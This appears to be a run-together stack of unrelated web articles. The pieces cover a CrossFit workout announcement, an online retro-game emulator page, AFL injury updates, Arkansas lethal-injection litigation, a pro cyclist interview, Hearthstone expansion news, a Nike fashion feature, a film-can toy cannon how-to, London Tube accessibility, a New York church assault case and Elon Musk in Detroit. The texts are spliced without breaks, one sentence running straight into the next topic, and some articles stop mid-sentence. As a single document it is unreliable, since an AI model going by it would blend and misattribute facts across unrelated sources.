The Live Announcement of Open Workout 16.2, presented by Assault AirBike, will be held at an undisclosed garage gym and streamed to Games.CrossFit.com at 5 p.m. PT on Thursday, March 3. Shortly after Director of the Games Dave Castro announces 16.2, Dan Bailey and Björgvin Guðmundsson will set the scores to beat.click on the emulator window to start
If you have problems with emulation performance, try version without advertisements here https://nesbox.com/embed
If you not only want to play retro games but want to create a game, try my another one project TIC-80, it's a fantasy computer for making, playing and sharing tiny games.
The emulator loads ROM files from your OneDrive account
Gamepad buttons mapping: ARROWS, A, B, X, Y, SELECT - left shoulder, START - right shoulder, L - left trigger, R - right trigger.
Keyboard buttons mapping: ARROWS, A - z, B - x, X - a, Y - s, SELECT - spacebar, START - enter, L - q, R - w.
Features:
supports NES, SNES, GENESIS, GAMEBOY and ADVANCE systems:.nes.smc.sfc.gen.smd.mb.bin.gba.gbc.gb;
,,, and systems:.nes.smc.sfc.gen.smd.mb.bin.gba.gbc.gb; save/load game state;
local multiplayer (two controllers);
import roms from OneDrive;
save game state to OneDrive;
gamepad buttons mapping;
CHANGELOG v4:
added OneDrive save states;
removed local storage;
gamepad stick support;
some minor fixes;
To start playing click on the emulator window, sign in OneDrive (only once at the start) and if all is OK click again to enable FULLSCREEN mode (gamepad input works only in fullscreen mode).
You should have a ROM file to play a game and upload it via OneDrive.
Use (A) to select item in menu and (B) to go back.
Press SELECT+START to show game menu (save/load/reset).
Select MENU > USE BROWSING CONTROLS to show browser cursor.
If you want to be in touch follow me @nesboxcomPatrick Ambrose will miss another six weeks after aggravating a quad injury.
The defender was expected to return against GWS last week but he felt some discomfort in the lead-up to the game.
“We were in our last training session before he was due to return to play,” High Performance Manager Justin Crow said.
“He was punching a ball and felt his quad again.
“There is really no option now but to take our medicine and take another six weeks to get that right.
“It’s disappointing news for Paddy – there is a bit of a fresh bleed in the quad, so we’ll re-load him and build him back up from here."
Darcy Parish will miss this Saturday’s match against Port Adelaide, but he’s expected to return against Sydney after the bye.
The midfielder hurt his calf in the lead up to the game against the Giants.
“Darcy’s calf tightened up during our main training session,” Crow said.
“We scanned that and what it turns out to be is a tibialis posterior injury, so that’s a smaller muscle in your calf complex.
“It’s a much better result than straining the other muscles in your calf, so we expect to have Darcy back the game after the break.”
James Kelly is likely to be available for the game against the Power this Saturday night.
The Club took a low risk approach after the 300 game player felt some minor discomfort in his groins last week.
“He had some low level groin issues, he’d had a history of that in the earlier part of his career,” Crow said.
“He’s much better for having the week off and he’ll do all of training and we’ll expect him to play.”
Mitch Brown has stepped up his rehabilitation program after injuring his ankle against Melbourne in round six.
He’s on track to be available for the match against Sydney.
Jayden Laverde is aiming to return a week later against Brisbane after injuring his ankle in March.Medical supply company McKesson says state deceptively purchased drugs for lethal injection, becoming first in history to sue a death penalty state for misuse
A US healthcare giant has accused the state of Arkansas of effectively lying to it over the sale of a pharmaceutical drug that the Republican governor had been poised to use in a historic killing spree of eight prisoners in 11 days.
The medical supply company McKesson has become the first private company in US legal history to sue a death penalty state for the misuse of its products in executions. Its unprecedented action has succeeded – for now – in frustrating the ambition of the Republican governor, Asa Hutchinson, to stage what critics have called a “conveyor belt” of death.
Arkansas executions: drugmakers don't want their medicines used in killings Read more
The governor had scheduled a series of double executions in the Arkansas death chamber in the Cummins Unit near Pine Bluff, starting on Monday and ending on 27 April, in what would have been the most intense burst of killing in the US for at least 50 years. But late on Friday a state court, responding to McKesson’s allegations, put all the executions on hold.
On Saturday a federal court also entered the dispute, ordering its own injunction in response to a legal challenge placed by all the condemned prisoners. The inmates had argued that the rush to hold so many executions in such a short time risked subjecting them to cruel and unusual punishment.
McKesson pulls no punches in its legal complaint, directly accusing the Arkansas department of corrections of misleading it in order to buy a batch of vecuronium bromide that the company distributes in the US on behalf of manufacturer Pfizer. Vecuronium is widely used in hospitals to relax patients’ muscles before surgery, but it has also become a standard element of the cocktail of three drugs that makes up lethal injection protocols.
Last July, the complaint alleges, the Arkansas prison service contacted McKesson to order 10 boxes each containing 10 vials of 20mg of vecuronium. The state official did not mention the drug was to be used to kill prisoners. On the contrary, McKesson states, the order was made in such a way as to seem like a routine request to restock supplies, to the extent that the shipping address given was the prison’s healthcare facility as a way “to mask things further”.
The medical director’s license was quoted during the phone call, just as it would be when a prison orders everyday equipment such as surgical gloves, syringes and stethoscopes. When the company asked for the boxes to be returned, having discovered their intended use, the state refused.
The corrections department “led McKesson to believe that the order was placed at the request of, or for the benefit of, the physician and would be used for a legitimate medical purpose”, the complaint says.
Facebook Twitter Pinterest Arkansas governor Asa Hutchinson’s plan for eight executions over an 11-day period was criticized as a ‘conveyor belt’ of death. Photograph: Alex Wong/Getty Images
McKesson’s intervention has had a dramatic and immediate impact. On Friday |
Gent-Wevelgem, Flanders, Scheldeprijs and even Paris-Roubaix. Do you consider yourself a strong rider for the cobbles? Is that an area that you will continue to focus on in the future?
SB: In the future, yeah its something I’d love to compete in, though at the moment I find it a bit strange, I can sprint better and position myself better when I come to the final but I don’t see my engine as being as good as at the end of last year; I don’t feel as strong in that respect. If I can get that form back... I also don’t want to lose speed by gaining form. I don’t know if that might sound stupid, but I’m afraid that by getting stronger I might lose that speed you need for sprinting. That’s how I get my results, so I’m going to try to keep that. But yeah, sure, if I could try to pull off a result in a classic, it would be absolutely amazing and I’d absolutely love to.
VH: You finished Paris-Roubaix in your first start. How hard was that?
SB: It’s strange, I think each section is almost like you’re positioning yourself for a bunch sprint, so I found that once you positioned yourself right, you were sorted for each cobbled section almost. I think for the first hundred km or so, I was going in the first ten or twenty so I was kind of comfortable, but then I hit the deck. I hit the side of the cobble and fell into a field. And then it was full gas because the next section you had to be up, so I just couldn’t get back in. I kind of spent the day riding on my own tempo. It was hard but... I don’t know because I didn’t really get dropped trying to hang in until I blew. It was really hard to finish but I got there. I’d love to see how long I could have held on until I blew but I was happy with that. I was delighted that when I got to the velodrome that it wasn’t closed off, and I was able to do my laps. It was a great feeling. That day, I’d say I spent 80% of the time in the gutter and not actually on the cobbles, I don’t know how I didn’t get a puncture.
VH: You must have recovered quickly: you won Rund um Köln only a few days later. Then, you won a stage at Bayern-Rundfahrt at the beginning of this month. Has there been one particular thing that you’ve learned this year that has contributed to these big results?
SB: One big thing would be not to get intimidated by bigger riders and just to focus on what you can do. I think that’s the most important thing you can do as a sprinter. You can’t be thinking, “Oh, this guy’s quicker.” For each individual sprinter, I think you do think and I think you have to think that you’re the fastest guy on the whole planet. You don’t go around saying that but you have to believe it even if it’s not true. You have to have that confidence to keep putting yourself in the right place. I try to keep getting up there and keep getting it right; if you keep putting yourself up there in the right place, eventually the result has to come, eventually it will happen.
VH: Has there been a specific skillset that you’ve been able to improve this year?
SB: This time last year my biggest problem was getting to the finish. At the end of last year, all I did was three-to-five minute efforts to try and get myself into position to sprint and if I got there fresh I’d be able to sprint better. Getting to the finish, getting into the right place just before the sprint starts... There’s two parts of sprinting: there’s getting to the finish and then there is winning the sprint.
VH: I’m sure you’re being asked this a lot right now, but do you have a sense of your chances of getting selected for the Tour de France squad, or what you can do to make that more likely?
SB: Yeah (Sam laughs)... Really I absolutely have no idea. Everybody keeps asking me and I think there’s a lot of pressure. I personally don’t know how I’d get through three weeks at that standard. Its another level again on the races I’ve been doing. It’d be a very big ask, especially in my first year as a pro, and I think there’s a lot of guys in the team that are a lot stronger and will be capable of finishing and doing a better job for Leo [NetApp-Endura’s GC rider Leopold König]. I don’t know how it will go. I can’t really put a lot of pressure on... If it comes around it comes around, I’ll be absolutely delighted, take the bull by the horns and give it everything I’ve got, but I won’t put any pressure on in my first year.
VH: Whether or not you do end up riding the Tour de France, what are your other goals for 2014?
SB: I’d love to get really high up in the Europe Tour. I was pretty close there recently, I don’t know if I’ve dropped off in the last week or two, I haven’t looked at it [Sam is currently 4th]. If I could lead the Europe Tour by the end of the year I’d be delighted with that. I’ve always wanted to gain consistency in my performances and in my riding and in my form. I could never get that in other years because of sickness and injuries and all that. I always had a lot of bad luck so I always said consistency is key. This year, I actually have consistency, and you can see that in the Europe Tour, so if I can take that it would mean a lot for me, for my head and for my confidence. Also the Tour of Britain, last year it was a race that kind of got me where I am, I did the business to get a pro contract. It’s a race that means a lot to me so it’d be a race that I’d love to go back and perform in.
VH: One last question. Is there one race, maybe you grew up watching or that you’ve ridden now, that you hope more than any that you will win at some point in your career?
SB: It’s a tossup between last stage of the Tour de France, the Champs-Élysées, and the World Championships. Champs-Élysées, I’ve always watched and replayed that sideview of the riders sprinting flat out. I’d love to be able to have that video recording of me winning that last stage of the Tour de France, to see how it is from that angle. It would be absolutely amazing. The World Championship, to be the absolute best in the world, knowing that that day, nobody in the world could beat you, it’s possibly a feeling like no other, and then you get to wear that jersey as a reminder for the next year. That would be unbelievable.
Sam’s next goal is the Irish National Championship Race, which he acknowledged would be a big challenge against talented riders like Martyn Irvine and four-time champ Matt Brammeier. Whoever wins the jersey, it will be a major accomplishment in this amazing time for Irish cycling, with riders like Bennett, Daniel Martin, Phil Deignan, and Nicolas Roche making headlines (Sam also named Jack Wilson, Ryan Mullen, Michael O’Loughlin, and Sean Hahessy as Irish riders to keep an eye on in the near future). Plenty of eyes will be on Bennett himself as he takes on the second half of the year, gaining confidence and experience with every race.
-Dane CashUpdates (Times in EST)
2:46 PM: It was confirmed during the Arena Panel that 1/3 of the expansion cards will be mechs.
3:14 AM: Ben Brode has confirmed there's more than 120 cards. Tokens are not included in this count.
1:09 AM (Nov 8): Added note about possible Gnome related card back.
11:14 PM: Added new card pack art.
Build Gnome vs Goblins Decks!
We've added the newly discovered cards to our Deckbuilder! Go Theorycraft some new decks and share them on the forums.
Hearthstone: Goblins vs Gnomes New Cards
Blizzard has released 38 of the 120+ cards! Tokens are not included in the card total.
Cards added to the database can be viewed here.
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Goblins vs Gnomes Trailer
Goblins vs Gnomes Gameplay
New Gameboard
The expansion features a new mechanical themed board.
New Card Pack
A new card pack will be purchasable in the shop for the same price as expert packs. It will only contain cards from the new expansion. This card pack will also be the only card pack which drops in arenas.
Gnome Card Back?
If you look at the key art for Goblins vs Gnomes, you will see that the Gnome has some gnomish looking card backs. The Goblin is using the goblin card back which is the November season reward. The gnome card back may appear in the game as the reward for a future ranked gameplay season.
Hearthstone: Fireside Chat Panel
The Goblins vs Gnomes expansion will be released during December 2014. It will contain 120 new cards.
Arena Panel Recap
Spectator Mode
Quote from Blizzard Alongside Goblins vs Gnomes, we’re introducing Spectator mode so you and your friends can observe each others’ explosive battles, fiery strategies, and hard-won victories. If someone on your friends list is playing and has allowed spectators (enabled by default), you can jump into your pal’s game and watch right away!
Hearthstone World Championship
If you're into Hearthstone eSports, the World Championship is currently going on at BlizzCon!The first time Brian Butch heard about Wisconsin's unusual approach to offseason conditioning, the former Badgers big man admits he was baffled.
"I was happy we didn't have to run sprints, but I remember thinking, 'We must be the only basketball team in the country that plays ultimate Frisbee," Butch recalled. "I thought everybody was nuts."
A month-long intrasquad ultimate Frisbee competition may seem like a silly summer ritual to the average wide-eyed freshman, but Wisconsin players who have participated in the July tradition often cite it as a key to their trademark team chemistry.
Newcomers build instant camaraderie with teammates through the friendly trash talk and banter that has become a staple of the competition. A new set of team leaders naturally emerges based on which players take charge of their respective squads. And every player endures a fun yet surprisingly intense workout sprinting up and down a campus soccer field during the fiercely contested games.
"It's a way for me to basically fool them into a great conditioning session that's specific to basketball," Wisconsin strength and conditioning coach Scott Hettenbach said. "We've had such incredible games over the years that guys talk about it all summer long. It's grown to be a pretty big deal. These guys really get competitive with it."Amid our ongoing love affair with sports—and boasting new collaborations with Riccardo Tisci, Kim Jones, and Jun Takahashi—Nike steps up into fashion’s premiership.
In the beginning, sports and fashion were two worlds, separately created by separate gods. In 1964, when Bill Bowerman shook hands with Phil Knight and set out on the road to designing Nike’s now iconic shoes with a waffle iron in a kitchen in Oregon (all function, very little form), Yves Saint Laurent was on the verge of debuting a Mondrian A-line dress that was, conversely, designed not for speed or stretching or any kind of performance aside from, say, a Merce Cunningham premiere.
Sprint forward to today, when we are all faster, stronger, more flexible in terms of how we move, what we do, and when we do it. Which means that fashion and sports (and the streets that sports live on) have become one world, with crossover gods. Today, a young designer like Shayne Oliver starts his career not at the Chambre Syndicale de la Haute Couture, Saint Laurent’s alma mater, but by making T-shirts and sweatshirts for friends. Alexander Wang is showing neoprene sweats. Rihanna is working with Puma, Kanye with Adidas. And now the paradigm shift as Nike, the world’s top-seeded maker of clothing designed to help break world records, steps in to play in the world of ready-to-wear. Nike’s designers haven’t just been hanging out in locker rooms. “We go to a lot of shows,” one of them told me.
Movement and speed and ease and functionality are now intrinsic to so much that we wear, whether on the field or in an Uber. Thus we have NikeLab, the place where Nike designers work out with that fashion world. Up to now, the results have been on the gorgeous side: In her fall/holiday pieces for NikeLab (she did a spring/summer collection, too), Sacai’s Chitose Abe took company staples like Windrunners and Tech Fleece and added sheer trapeze pleats and proportions that made the pieces seem to fly. Now we have three NikeLab collections (Summer of Sport, they’re calling it) set to leave the gate to celebrate the Rio Olympics—in collaboration with Kim Jones, Jun Takahashi, and Riccardo Tisci.
These days, everybody wants to work out with a fashion designer. As Apple picked up people from Burberry, Saint Laurent, and Gap prior to launching its watch, so Nike Women—the largest women’s athletic brand in the world, currently weighing in at a valuation of $5.7 billion—is partnering with the fashion world with the goal of gaining about $5 billion in sales by 2020. And then there are the athletes, who, in a crossover world, are rock stars. “Look,” says Tisci, “in the seventies and eighties, sporty people could wear only sportswear, and artists had to look only dirty and underdressed. Today the world has changed, and these kids who are heroes of sport want to look good—they want to bring their own personality to the playground!”
To investigate the practicalities of Nike’s fashion partnerships, I took a trip out to the company’s world headquarters in Beaverton, a place where people work with sensor-draped athletes on treadmills in simulated Brazilian climates. (When I was in the Nike Sport Research Lab, the sprinter Ryan Bailey was running at what seemed close to the speed of light while images of his body were being examined in a room that looked as if it were supporting the power grid for L.A.) It struck me that Nike designers were drastically more open about their interest in fashion than on my visits in years past. “Do we geek out on Givenchy?” a designer who worked with Tisci asked. “Yes.” But they still stress performance as their core. “If there were a photo finish between performance and style, performance would win, but the two go hand in hand,” said Martin Lotti, Nike’s global creative director.
And yet fashion’s benefit to performance remains relatively undocumented. “I remember talking to Maria Sharapova, and she was telling me that she will play better if she looks better—that is definitely a common thread with athletes we work with,” said Lotti. (When I spoke with the Olympic-champion decathlete Ashton Eaton recently, he seconded: “Feel is connected with physical. I very strongly believe that if something in your mind feels lighter and faster and makes you feel stronger, that placebo is not a negative thing; it’s a thing that works.”)
One way to lure designers is with vintage Nikes. Jarrett Reynolds, senior design director of NikeLab, talked about fashion’s forever interest in shoes like the Air Force 1, which Tisci redid (his new-old model, the Dunk Lux High, came out in February). That shoe’s icon status, Nike argues, came second. “We made a real-deal performance product and the culture adopted it and made it an icon,” Reynolds said. Working on Air Force 1 was a dream for Tisci, affectionately referred to at Nike as a “sneakerhead.” “If somebody asked you to work on the Sistine Chapel in Rome, you wouldn’t change it completely—you would just modernize it, because it’s so beautiful,” he said.
For the new Summer of Sport collection, Nike flew to Paris, Tisci to Beaverton, where, in the gorgeous gym, he momentarily relived his childhood basketball career, even if the shots he took did not reflect his prowess as a designer (“I hadn’t played in a long time,” he stressed). He got pushed into performance aspects of the design. “We made Riccardo uncomfortable,” Reynolds said. The end result: shorts morphed with tights, kaleidoscopic color prints that no Nike apparel designer would have dared suggest, and botanical nods not only to Brazil but to his own upbringing in the south of Italy—all engineered into Nike’s best-selling sports bra.
“He pushed us to a place where we wouldn’t have had the confidence to go on our own,” Reynolds said. Tisci also pushed them to a place where gender lines were blurry, where male and female pieces are interchangeable—something you see a lot of when sportswear is on the street. “The walls between him and her were less important,” said Reynolds.
The designer Jun Takahashi runs close to 20 miles a week dressed, he says, “head to toe” in the pieces he’s been collaborating on with NikeLab since 2010, a highly technical and sharply cut layered collection called Gyakusou (translation: “running in reverse”). “We usually start by saying, ‘OK, Jun, what’s been happening with your running?’ ” explained Reynolds. If you replaced the terms art and beauty in the definition of couture with design that gorgeously frames and assists the performance of the body, then Gyakusou would be couture. Takahashi’s own ready-to-wear collection, Undercover, has always included functional elements, raising the question, What is the difference between sportswear and ready-to-wear out in the field? “I think we’re seeing very little difference between the two on the streets,” he says.
When I finally caught up with Kim Jones, the Vuitton men’s style director, he had just taken a plane to a plane to another plane, each one smaller, until it let him out in a southern coastal forest in Vietnam, track-suited and trainered-up. (The NikeLab team had pegged him years before as a sneakerhead.) “He knows tech, and he’s been part of street culture forever, so he spoke the language of Nike culture,” said Reynolds. For his collaborations, Jones was shown the Windrunner, a 1978 Nike piece that quickly crossed over from marathoning to New York City break-dancers in the eighties. Jones was also shown technical data—along the lines of charts by Nike’s research lab that indicated where a runner is hot, where not. “It’s no use to outcool them,” Reynolds said. “You have to outnerd them.”
Jones approached athlete performance from the vantage of travel—a silver in South America one day, a gold in Europe the next—something he knows in his bones as the son of a globe-traveling geologist. In the end, Jones collaborated on jackets that are, among other things, nearly seamless engineering marvels of packing performance, perfect to work out in, perfect to pack, perfect to run in—and vaguely secret agent–like. “It really gets down to almost zero when you fold it in your bag,” he says. (When we spoke he was headed out to see his first extremely endangered black-shanked douc langur in the Ninh Thuan province. “There’s only about 600 of them left in Vietnam, and they are called the painted monkey—and they are the most beautiful monkey in the world,” said Jones.)
All the designers sounded ready to burst out of the gates to fashion new sport—and vice versa. Tisci, for one, thinks his fashion idols would approve. Though he never met Coco Chanel, he finds her a simpatico spirit when it comes to breaking down the differences between events and categories. “She was one of the first people to bring women from Victorian-looking dresses to a male look when she deconstructed the jacket,” he said. “What I’m doing today, she did already in her time. I think she would be like, ‘Go, Riccardo, go!’ I think she would be a supporter.”
Fashion Editor: Sara Moonves
Hair: Didier Malige; Makeup: Gucci Westman
Produced by Kate Collings-Post for North SixIntroduction
The film can cannon is a simple project that can be made with things that you have laying around. I used to make them when I was a kid.
The cannon only takes a few minutes to put together. When finished, you have a small hand held cannon that can fire peas, marbles and other small, round objects.
What you need
An empty film can
A rubber band (not necessary)
A balloon
A cutter
How to make it
Cut the bottom off the film can so that it is open in both ends.
Make sure that you make a nice cut. The edge of the can shouldn't be sharp and pointy. You might want to use a sand paper to make the edge smooth, but it is not necessary.
Slip the balloon over the end of the film can that you just cut off.
This is the tricky part of the project.
Inch the balloon all the way over the can.
Pull the balloon through the film can.
Depending on how narrow the balloon is, you might need to put one or a few rubber bands around it to prevent it from slipping off when you fire the cannon.
Using the cannon
Put the ammo in the balloon, pull back and fire!With less than 48 hours until the close of this summer's transfer window, the English press have reported that Javier Hernández could possibly be on his way to the Bernabéu. With Valencia and Juventus fighting it out for the Mexican's signature, 'Los Blancos' have entered the fray late in an attempt to sign the forward, and are apparently in direct talks with Manchester United in an attempt to strengthen their front line.
The Daily Mail reported that Hernández would be a perfect fit for Real Madrid, if 'Los Blancos' fail to finalise a deal for Álvaro Negredo or Radamel Falcao, who has also been linked with a move to Juventus. MARCA.com revealed that 'Chicharito's' agent, Eduardo Hernández met with Juventus last Thursday to negotiate a deal with the Italian giants, although no deal was finalised, something that could have sparked Real Madrid's interest in the Mexican forward.
The fact is that the Real Madrid board would be in favour of signing the Mexican star. Despite being a household name in his home country, 'Chicharito' would not join as a big-name signing, which would make it easier for him to settle into the Bernabéu dressing room. The Mexican would also adapt perfectly to his role as a squad player, given that there are other strikers ahead of him in the pecking order, and Carletto would be happy to have him as an option from the bench.London's public transport is great. It lets you go pretty much anywhere via a seamless combination of buses, trains and even the occasional ferry.
It's less great, though, if you aren't able to get on any of it in the first place. Much of London's Underground system is old, and deep under the ground; this, if you're a wheelchair user or are otherwise restricted in your movement, is not good news.
Buses are a lot better: most can crank down to the level of the pavement, and there are designated spots where you can park your chair on board. But in a city the size of London, buses aren't really enough.
TfL released its latest "step-free guide" to the London Underground in 2015, and it basically does what it says on the tin: it shows those stations without big flights of non-escalator staircases, which would pose a problem for anyone in a wheelchair or others with mobility issues.TfL greys out the unusable stations, but we've erased them in the map below to make things a bit clearer:
Click on image to see a larger size. Image: TfL, modified by CityMetric.
If you squint, it all looks prety straighforward: loads of stations have disappeared, but you can still take a fair few on the District and Circle lines, plus a good chunk fo the Overground and the whole DLR. Most of central London is off the cards, unless you happen to be travelling from Ealing Broadway to Oxford Circus (lucky you!).
But all those coloured symbols on the map mean different things for your ability to access trains at that station. Just because a station doesn't have a flight of stairs, doesn't mean there aren't other things standing in your way.
An "R" in a green box means you need to call ahead to get a ramp set up.
The green and red circles indicate the gap between train and platform (more on that later).
Little red notes and exclamation points indicate stations where certain interchanges do involve stairs, or where you have to access the station through a certain entrance to avoid them.
The map actually comes with all this supplementary material, explaining certain stations' quirks: mini flights of stairs, say, or stairlifts which will carry your manual wheelchair, but not a motorised one:
Essentially: planning Tube journey when you have reduced mobility is a bit like running a small military operation.You need to research every leg of the journey beforehand, and probably need to call ahead, especially as TfL advises that you check the lifts are running if you need them. (To its credit, TfL does provide taxis if lifts are out of order.)
If you're in a wheelchair and can't do escalators, the map gets even simpler – and your journey gets even more complicated.
This map shows all the stations which have lift service (they're marked by a blue ring around a green circle), or stations where the platform is level with the street (green ring around a green circle). It's taken from TfL's "Avoiding Stairs" guide, but we've removed the stations which only have escalator service:
More caveats:
Notes in red indicate where this only applies to one direction.
Stations still on the map but with an open circle mean you can interchange, but not exit or enter the station.
Little numbers inside the circle mean there are that there are a handful of steps along your route in the station.
An exclamation mark means you need to check the supplementary material for more information.
I thought about redrawing the map with just the stations which have straightforwad, full access for wheelchair users, but I'm not sure it'd look like much of a map.
One last one: those letters on stations indicate the gap you need to bridge between the platform and train. A green "A" means TfL reckons wheelchair users shouldn't have any trouble getting across it: the gap is less than 50mm high and less than 85mm wide.
This map shows only those station with this designation, or where station staff can set up a ramp:
If you were a wheelchair user who needed to use a lift, and wasn't confident of bridging larger gaps to board trains, you'd need to cross-reference the above two maps (whose information is provided separately by TfL) to figure out if your journey is plausible. Spoiler alert: for most journeys on the Underground, it probably isn't.
We're much better off than Paris – we wrote last June about the fact that the map for wheelchair users there is basically a single line – but accesibility in newer networks around the world, like those in many Asian cities, leave ours in their dust. Our network may be old and difficult to upgrade, but what use is public transport if a chunk of the public can't actually get on it?
Why not like us on Facebook for more nice things?I only want to get married once, and when I do, I hope it’s to one of the three Donald Trump supporters featured in this essential new video from CNN titled, “Going to College, Voting for Trump.” Please watch it below.
Which one of these first-time voters from Omaha, Nebraska, do I want to marry the most? All three are so enlightened and so muscle-shirted that it was hard to decide, but I did. Here are the Donald Trump bros, ranked.
3. Tate Moyer
Tate Moyer, an 18-year-old allegedly named Tate Moyer, is last on my list because he seems to lack confidence in his decision to vote for Trump. “It probably wouldn’t be wise to have the leader of our country calling other leaders losers,” he says.
Uhh, buddy? You are on CNN wearing a “USA” tank top. Now is not the time to reconsider.
Tate still wins the contest of having the smallest shirts.
2. Brody Buck
Brody Buck, a brunette who answers to “Brody Buck”, is a strong contender for who I want to marry the most because he is not afraid to speak his mind.
Why is he voting for Trump?
“In school we learned how America was great, you know, back in...back in awhile ago or whatever, and I kind of want to live through that as an 18-year-old,” he says.
1. Turner Eakins
Turner Eakins—that’s his name—is the Donald Trump bro I want to marry the most, because he respects women.
“I wouldn’t say that any of us are sexist,” he says.
Which Donald Trump bro do you think is the best?NEW HARTFORD, NY -- The door to the Word of Life Christian Church was unlocked, and the gates to the parking lot were wide open.
These photos were taken Tuesday afternoon, at least 12 hours after police tactical squads had made entry into the building.
The church is the site of two assaults, one of them fatal, against the teenage sons of Deborah and Bruce Leonard -- church members who are now facing manslaughter charges. Four other church members were also arrested, and more arrests are expected.
The teens were beaten to compel their "confessions" to perceived sins by the church members, police say. They were beaten for hours after Sunday services, police said.
Lucas Leonard, 19, was killed, and his brother Chris Leonard, 17, was seriously injured.
Neighbors who lived near the church for years said they rarely, if ever, saw the gates opened, and they had never been inside. They also said the church was selective and never allowed in visitors.
Past the gate into the parking lot are glass doors, which have white lettering that says, "Welcome to Word of Life Christian church."
Inside the church are two small areas cordoned off by police tape, including one in front of bathrooms and another in front of a dark hallway. The rest of the building, however, was not blocked off, allowing free access through various rooms in the church.
Side rooms appeared to have been abandoned in a hurry. In a break room, cold coffee, half-eaten sandwiches and other perishables sat on countertops. Along the back wall, children's names were written in marker at differing heights.
A music room alongside it contained expensive musical instruments and wide-open notebooks, opened to pages containing apparent notes on the church's religious teachings.
At the bottom of one page, the notebook says, "Whether I agree or not, don't quit praying. Be VERY!! careful. Ask God to show me His heart on the matter."
The church's main sanctuary, a high-ceilinged room with a modest podium at one end, was sparsely decorated, save for a few Biblical depictions, scriptures and copies of the Declaration of Independence and words from Thomas Jefferson.
The rest of the building, which is an old school house, was inaccessible.A Tesla Motors Inc. Model S P85D vehicle is displayed at the 2015 North American International Auto Show (NAIAS) in Detroit, Mich., on Monday. (Daniel Acker/Bloomberg)
Tesla Motors’ billionaire chief executive Elon Musk walked into the enemy territory of Detroit this week with the electric-car maker quickly losing charge. Chevrolet’s all-electric Bolt, which some called a “Tesla killer,” promised a mass-market rollout matching what Tesla’s future cars would offer and cost. And, analysts warn, record-low gas prices threatened to deflate the electric-car market altogether.
But in his first public appearance in Motor City in two years, the face of America’s electric-car movement doubled down on his promise to revolutionize the auto industry, pledging to make millions of electric-cars a year by 2025 — up from goals of about 33,000 last year. And about all those high-powered rivals at the door? They should, he said, invest even more toward electric cars. In other words: Bring it on.
Musk has long criticized his compatriots in the auto world for their sluggishness in developing battery-powered cars en masse. That criticism, and many others, have made Musk the man the auto establishment loves to hate, the ultimate outsider in a car-making capital of insiders who think he’s overhyped or hate his guts.
Now that automakers are starting to push back with designs that could give Tesla a run for its money, the South African-born firebrand isn’t backing down. In fact, Musk is chalking it up as a new victory for his mission to accelerate the advent of electric cars and, as he said, “make a difference in the world.”
“It’s sort of counterintuitive, because, why do we want all these competitors?” said Musk, 43, during a Tuesday appearance at the Automotive News World Congress in Detroit. But he reiterated the real environmental benefits will only happen “if the big car companies make risky decisions to make electric vehicles. I hope they do. We’ll try to be as helpful as we can.”
Musk became the man to watch for having built the first new American automaker in years from the ground up. No executive at the North American International Auto Show this week in Detroit won as intense a spotlight, or polarized as many, as Musk — even though Tesla remains a relatively small player in the auto world, with only one car for sale and other models hit by long delays. (“I do have an issue with punctuality,” he said.)
Musk’s goal to seize a large part of the auto market has put him at odds with the industry’s competitive traditionalists. On Tuesday, Musk pledged that Tesla would sell “a few million cars” by 2025, making it the size of BMW now.
That seems optimistic, considering Tesla’s hold on the electric-car market lost some sparkle this week with other automakers’ electric unveilings. The Chevy Bolt and new Nissan Leaf, set for 2017, promise 200 miles on a single charge, for cheap: The Bolt is set to cost $38,000 before tax credits. And if that won’t hurt his goals, gas prices will. Oil dropped this week to below $45 a barrel, the lowest in more than five years.
General Motors CEO, Mary Barra, talks about the new Chevrolet Bolt at the Detroit auto show. The North American International Auto Show is one of the largest car shows held each year in the United States, and opens to the public Jan. 17, 2014. (Larry W. Smith/EPA)
Musk said gas prices would be low for “a long time,” which could hurt electric cars’ adoption by some price-conscious drivers. But he said there would still be a “huge societal pressure,” amid a host of environmental benefits, pushing drivers away from fossil fuels.
Electric cars, he added, would still be cheaper to run than gas-powered cars even with today’s bottom-barrel gas prices. And in the more than 30 other countries where Tesla sells and gas is pricier, the change in fuel prices will make even less of a dent in demand.
If all this sounds like eco-friendly hooey, remember that Musk has long pushed for automakers and energy giants to do something in the face of climate change. Last year — after having pioneered faster chargers, safer batteries and a heap of other electric-car innovations — Tesla opened its hundreds of patents for all the automotive world to use, free of charge, as a way to spur automakers to improve.
As for rivals’ electric car lines, he said he didn’t see them as a “competitive threat, because I think all cars will go electric,” Musk said. “There are 100 million new cars made every year. So what does it matter if someone makes a few hundred thousand additional electric cars? It’s not going to affect us, really.”
For all its hype, it’s easy to forget that Tesla sells one car, made at one factory: the Model S, an all-electric sedan that sells for more than $70,000. Valued at about $25 billion, Tesla is less than half the size of GM or Ford. But seven years after the automaker sold its first Tesla roadster, Musk said the automaker still struggles to make enough cars to meet demand — even without spending a cent on advertising.
Tesla’s giant rivals can’t help but take notice. In an earnings call last year, Ford chief executive Mark Fields even said of Tesla’s star car, “We have driven the Model S, torn it down, put it back together, and driven it again. We’re very familiar with that product.” Asked Tuesday whether he intended to do the same with his new competitors, or whether he found anything he wanted to emulate, Musk issued a laughably terse, “No.”
Tesla’s market-watchers have sounded the alarms amid some recent sour notes. The automaker’s stock has slid more than 25 percent since peaking in September, on the back of the emergence of other electric-car competitors and lower gas prices. Though Tesla’s revenue grew in the first nine months of 2014 to more than $2.2 billion, a 60 percent boom from the year before, the automaker has never secured a yearly profit.
But with his signature swagger, Musk brushed |
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